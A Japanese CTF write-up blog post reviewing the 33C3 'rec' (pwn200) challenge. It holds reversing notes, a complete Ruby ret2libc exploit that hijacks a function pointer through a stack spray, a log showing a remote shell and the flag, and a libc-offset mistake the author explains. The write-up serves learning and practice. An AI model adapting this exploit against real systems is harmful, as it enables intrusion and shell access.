Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

33c3CTF rec (pwn200)

解けなかったので復習.精進しよう.

下調べ

file

../rec: ELF 32-bit LSB shared object
Intel 80386
version 1 (SYSV)
dynamically linked
interpreter /lib/ld-linux.so.2
for GNU/Linux 2.6.32
BuildID[sha1]=51890d1f3db5af5a951952942d4cf81d91143c3e
stripped

checksec

Canary:                                           Yes
NX Support:                                       Yes
PIE Support:                                      Yes
No RPATH:                                         Yes
No RUNPATH:                                       Yes
Partial RelRO:                                    Yes
Full RelRO:                                       Yes

Reversing

  • メモ機能と計算が行えるアプリケーション
  • 0,1はノート管理
    • 0が入力,1が表示・・・ではなく1は4word分leakするただの脆弱性の塊
  • 2,3,4は計算(前置,中置,後置記法の3種類)
    • 2の前置記法には秘密オプションSがあり,任意の回数のオペランドの合計(Sum)が計算できる('.'で終端).脆弱性有り
  • 5は入力した値の正負を判断する
    • 条件分岐において0のみが通ってしまい,意図しない関数ポインタの呼び出しが発生する脆弱性
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 0

Exploit

選択肢1では,_IO_2_1_stdout_やPIEバイナリのアドレスなどがリークする.そこでstdoutのleakからret2libcに繋げられそうだと判断する.また選択肢2で,オペランドの入力を100回繰り返す(当日はプロに教えていただいた)と,選択肢5で使われる関数ポインタが保存されているstackを指す.さらに101回目には関数ポインタ呼び出し時の第一引数に当たる場所を指す.これらの情報を使って以下のExploitを作成した.アドレスなどの入力の際に大きい値だとオーバーフローしてしまうのでその対策としてアドレスにmメソッドを噛ましている. ret2libcにおいてlibcの配布はされていなかったので,libcを実行した際に出るバナー情報を表示させてバージョンを確認した.(存在は知っていたけれどやったことはなかったので,自分にとっては初めての経験で収穫が大きかった).

#coding: ascii-8bit
require 'pwnlib'

host = "localhost"
port = 8888

# Ubuntu GLIBC 2.24-3ubuntu2) stable release version 2.24

def m(x)
  -2**32 + x
end

if ARGV[0] == "r"
  host = "78.46.224.74"
  port = 4127

  # NG libc offset
  # $of_stdout = 0x1b6d60
  # of_system = 0x3b020
  # of_bin_sh = 0x15f60f

  of_stdout = 0x1b3d60
  of_system = 0x3a8b0
  of_bin_sh = 0x15cbcf
end

def leak_stdout(t)
  t.recv_until('> ')
  t.sendline('1')
  return t.recv_capture(/: .{8}(.{4})/)[0].unpack("L")[0]
end

PwnTube.open(host, port) do |t|

  libc_base =  leak_stdout(t) - of_stdout
  puts "libcbase = 0x%x" % libc_base

  libc_system = of_system + libc_base
  puts "libc_system = 0x%x" % libc_system

  libc_bin_sh = libc_base + of_bin_sh
  puts "libc_binsh = 0x%x" % libc_bin_sh

  t.recv_until('> ')
  t.sendline('2')
  t.recv_until(": ")
  t.sendline('S')

  100.times do |i|
    t.recv_until(": ")
    t.sendline(m(libc_system).to_s)
  end

  t.recv_until(": ")
  t.sendline(m(libc_bin_sh).to_s)
  t.sendline(".")

  t.recv_until('> ')
  t.sendline('5')
  t.sendline('0')

  t.shell
end

上記のexploitを回した結果が以下である.これは記事執筆時にまだ動いていたときのサーバである.

[mbp2013late@result]$ ruby exploit.rb r
[*] connected
libcbase = 0xf7614000
libc_system = 0xf764e8b0
libc_binsh = 0xf7770bcf
[*] waiting for shell...
[*] interactive mode
cat /challenge/flag
33C3_L0rd_Nikon_would_l3t_u_1n
ldd /challenge/rec
        linux-gate.so.1 =>  (0xf7783000)
        libc.so.6 => /lib32/libc.so.6 (0xf75bb000)
        /lib/ld-linux.so.2 (0x565a4000)
sha1sum /lib32/libc.so.6
7b50429917d0a860067c02ad268de3de87f683b1  /lib32/libc.so.6

解けなかった原因

単純にlibcが間違っていた.バナー表示させているんだから間違ってるはずないよ・・・ってその時思っていたが実際に異なっていた.違っていた原因は,本問題が32bitバイナリなため,単純にi386という文字列が目に止まったi386 build : 2.24-3ubuntu2 : glibc package : Ubuntuからダウンロードしてしまったからだった.

本番環境では64bitを想定し,64bitのための32bitなlibcをダウンロードしてこなくてはならない.

以下に示す通りオフセットはもちろんまったく違う(前者が間違っている方で,後者が正しい方)

vagrant@alice1000:~/c/3/r/result$ ./libc-offset libc-2.24.so
offset = {
    '__libc_start_main': 0x18180,
    'system': 0x3b020,
    '/bin/sh': 0x15f60f, # str
}
vagrant@alice1000:~/c/3/r/result$ ./libc-offset libc6i386/lib32/libc-2.24.so
offset = {
    '__libc_start_main': 0x18180,
    'system': 0x3a8b0,
    '/bin/sh': 0x15cbcf, # str
}
vagrant@alice1000:~/c/3/r/result$ sha1sum libc6i386/lib32/libc-2.24.so
7b50429917d0a860067c02ad268de3de87f683b1  libc6i386/lib32/libc-2.24.so

所感

最初pedaでcontext code, stackが表示されず直せなかったので,急遽まだ使い慣れていないgefを使って解いた.peda治したい・・・
libcに関しては本当にどうしようもないミスでチームの人にも無駄に時間をかけさせてしまったし今後同じ過ちを起こさぬよう自戒の意も込めて記事にした.絶対に間違えるなよ,絶対だぞ,フリじゃないからな.